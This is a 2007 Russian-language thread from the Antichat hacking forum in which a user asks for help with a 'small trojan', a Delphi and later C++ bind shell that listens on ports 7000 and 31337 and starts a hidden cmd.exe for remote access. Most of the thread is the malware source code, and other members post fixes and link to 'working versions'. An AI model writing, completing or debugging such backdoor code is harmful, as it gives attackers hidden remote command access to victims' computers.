Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   небольшой трой Bs (https://forum.antichat.xyz/showthread.php?t=50409)

_PARAZIT_ 03.10.2007 17:31

небольшой трой Bs
 
народ помогите кто может и понимает в этом деле...
тока без лишнего трепа типа я крутой хакер а ты ламо...если можешь помоги!
написал эту дрянь (еще начало тока типа) - а она не работает... я конечно может не понимаю смысл и методику использования CreateProcess........ какие сдесь ошибки, подскажите...(ошибки в ДНК не принимаюцца:) )
Код:

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len);
        while true do begin
        rec:=recv(s_cln, st, 100, 0);
        if rec=0 then break
                else begin
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'dir с:',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
                        FillChar(st,255,#0);
                end;
        end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.


a1ex 03.10.2007 17:36

Ты ли это написал?
И что он делает?

Ni0x 03.10.2007 18:47

Есть такая штука, называется MSDN, там ты найдешь комментарий по каждой документированной функции.
Цитата:

http://msdn2.microsoft.com/ru-ru/default.aspx
И если ты хочешь, чтобы тебе помогли, нужно четко выкладывать суть своей проблемы.

Ky3bMu4 03.10.2007 18:53

Это биндшелл на дельфях... Как мило.:)

У тя в CreateProcess вместо 'dir с:' должно быть 'cmd.exe' .

_PARAZIT_ 03.10.2007 19:19

да... это bind shell на делфях... сначало надо сделать и догнать все на делфях что б приступить на С, а то там ваще все темно и надо приступать со знание дела...

вобщем суть такова что он неработает почемуто...
Код:

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0); //создаем сокет
sa.sin_family:=AF_INET; //настрайваем его
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3); //число клиентов
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len); //...кто то подключился
        while true do begin //начинаем цикл обработки подключенного клиента
        rec:=recv(s_cln, st, 100, 0); // принимаем команду
        if rec=0 then break //если команда действительно есть то начинаем создавать процесс
                else begin
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'dir',NIL, NIL,TRUE,0,NIL,NIL,si,pi); //во всех примера там где у меня dir стоит конечноже cmd (командный интерпретатор), но я думал просто что именно сюда надо прописать команду...или же команда выполняется автоматически с приходом чегонибудь в сокет из-за вот этой строчки si.hStdInput:=s_cln;
                        FillChar(st,255,#0);
                end;
        end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.

где неправильная логика? и вообще так ли пишут bind shell-ы? патамучто он даже если dir изменить на cmd... всеравно не пашет...протесть пожалуйста ктонибудь.

Ky3bMu4 03.10.2007 19:54

Код:

rec:=recv(s_cln, st, 100, 0); // принимаем команду
        if rec=0 then break

Это не нужно. Срузу после
Код:

s_cln:=accept(s,@addr_from,@len);
Нужно заполнять структуру:
Код:

si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
...

И ещё раз говорю: нинадо никаких dir`ов, только 'cmd.exe'. После telnet`на забинденый порт получишь коммандную строку и всё.

_PARAZIT_ 03.10.2007 20:31

исправил...
Код:

program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;

var si:TSTARTUPINFO;
    sa,addr_from:sockaddr_in ;
    pi:PROCESS_INFORMATION;
    len,rec:integer;
    HWSAdata:WSADATA;
    s,s_cln:Tsocket;
    st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
        s_cln:=accept(s,@addr_from,@len);
                        si.cb:=sizeof(si);
                        si.wShowWindow:=SW_HIDE;
                        si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
                        si.hStdInput:=s_cln;
                        si.hStdOutput:=s_cln;
                        si.hStdError:=s_cln;
                        si.lpDesktop:=nil;
                        si.lpTitle:=nil;
                        si.lpReserved2:=NIL;
                        CreateProcess(NIL ,'cmd.exe',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
//closesocket(s_cln);
end;
closesocket(s_cln);

closesocket(s);
WSACleanup();
end.

при коннекте к нему как тока в телнете напишешь хоть одну букву сразу обрывается соединение...
closesocket(s_cln); ставил и в теле цикла и за ним - всеравно одно и то же...

W!z@rD 03.10.2007 22:30

если подождешь... завтра кину парочку рабочих версий... сорцы на дельфи...

p.s. в bindshell'ах надо winsock2 юзать.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
перед всеми извиняюсь...
в winsock2 позволяет перенаправлять поток из консоли... туплю... да и вобщем пора бы понять что я ничего не знаю...

Ni0x 03.10.2007 22:54

Цитата:

p.s. в bindshell'ах надо winsock2 юзать.
Это ты где такого начитался? Фленов, Кузьмич или может быть еще ктото? Я так полагаю этот вывод был сделан на основе пробемы связанной с SO_OPENTYPE? Может быть ты не в курсе, что UNIX системы крутятся на первых сокетах? Вот реально, только на античате в разделе кодинг можно поднять себе настроение на весь день.

KEZ 03.10.2007 23:58

не гони, полно таких форумов, вот этот почитай когда скучно будет
http://www.sql.ru/forum/actualthread.aspx?bid=16&tid=466654&pg=1

W!z@rD 04.10.2007 12:34

вот, держи:

http://slil.ru/24934202

_PARAZIT_ 04.10.2007 14:47

эта вещь тоже не работает... при коннекте telnet
как тока пишешь какуюнибудь букву сразу обрывается соединение....
при использовании собственного клиента - ноль реакции....

_PARAZIT_ 05.10.2007 00:01

ну помогите хоть ктонибудь... скомпильте мой пример или W!z@rD и скажите работает или нет... может у меня тут на компе что нить не так...

_PARAZIT_ 06.10.2007 18:51

ну помогите ктонибудь разобраться... а то ж я так и буду сидеть и тупить...
вот уже и на С++ скомпилил примерчик... с помощью groundhog все собралось...
Код:

#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main(){ 

        SOCKET s;
    struct sockaddr_in localaddr, clientaddr;
        WSADATA wsaData;
        typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
        PIPE input, output;
        SECURITY_ATTRIBUTES sa;
        STARTUPINFO st;
        PROCESS_INFORMATION pr;

    WSAStartup(MAKEWORD(2,2), &wsaData);

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    localaddr.sin_family = AF_INET;
    localaddr.sin_port = htons(31337);
       
        bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
    listen(s, 0);

        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
    CreatePipe(&output.hRead, &output.hWrite, &sa, 0);

        ZeroMemory(&st, sizeof(STARTUPINFO));
    st.cb = sizeof(STARTUPINFO);
    st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    st.wShowWindow = SW_HIDE;
    st.hStdInput = input.hRead;
    st.hStdOutput = output.hWrite;
    st.hStdError = output.hWrite;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);

}

при коннекте telnet из IPtools почемуто ничего не работает - ноль реакции.......

Ky3bMu4 06.10.2007 19:36

Вот те 100% работающий вариант:
http://forum.antichat.ru/threadedpost461763.html(последний пост)

_PARAZIT_ 06.10.2007 20:38

а ты думаешь я его не компилил? я уже тут все варианты попробывал...
при сборке твоего варианта выдается ошибка
Код:

Compiling...
bs.cpp
e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'buf' : unreferenced local variable
e:\c++\c++\project\bs_add\bs\bs.cpp(44) : warning C4101: 'type' : unreferenced local variable
e:\c++\c++\project\bs_add\bs\bs.cpp(43) : warning C4101: 'i' : unreferenced local variable
Linking...
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/bs.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

bs.exe - 2 error(s), 3 warning(s)

кто то говорил что нада ставить win 32 а не консольное приложение (это типа ошибка оюозначает именно это)... но ведь я так и делал...
File->New->Projects->Win32 Applications
потом cpp фаил создовал
File->New->C++ Source file
.........а оно не собирается:(
но если закоментировать точку входа #pragma comment(linker,"/ENTRY:WinMain") - то собирается, и получаем exe...
врубаю телнет из IPtools, конекчусь - конектится... пишу md cat1 - и фиг ничего не создается... при команде dir - телнет ничего не оттображает....


Время: 21:08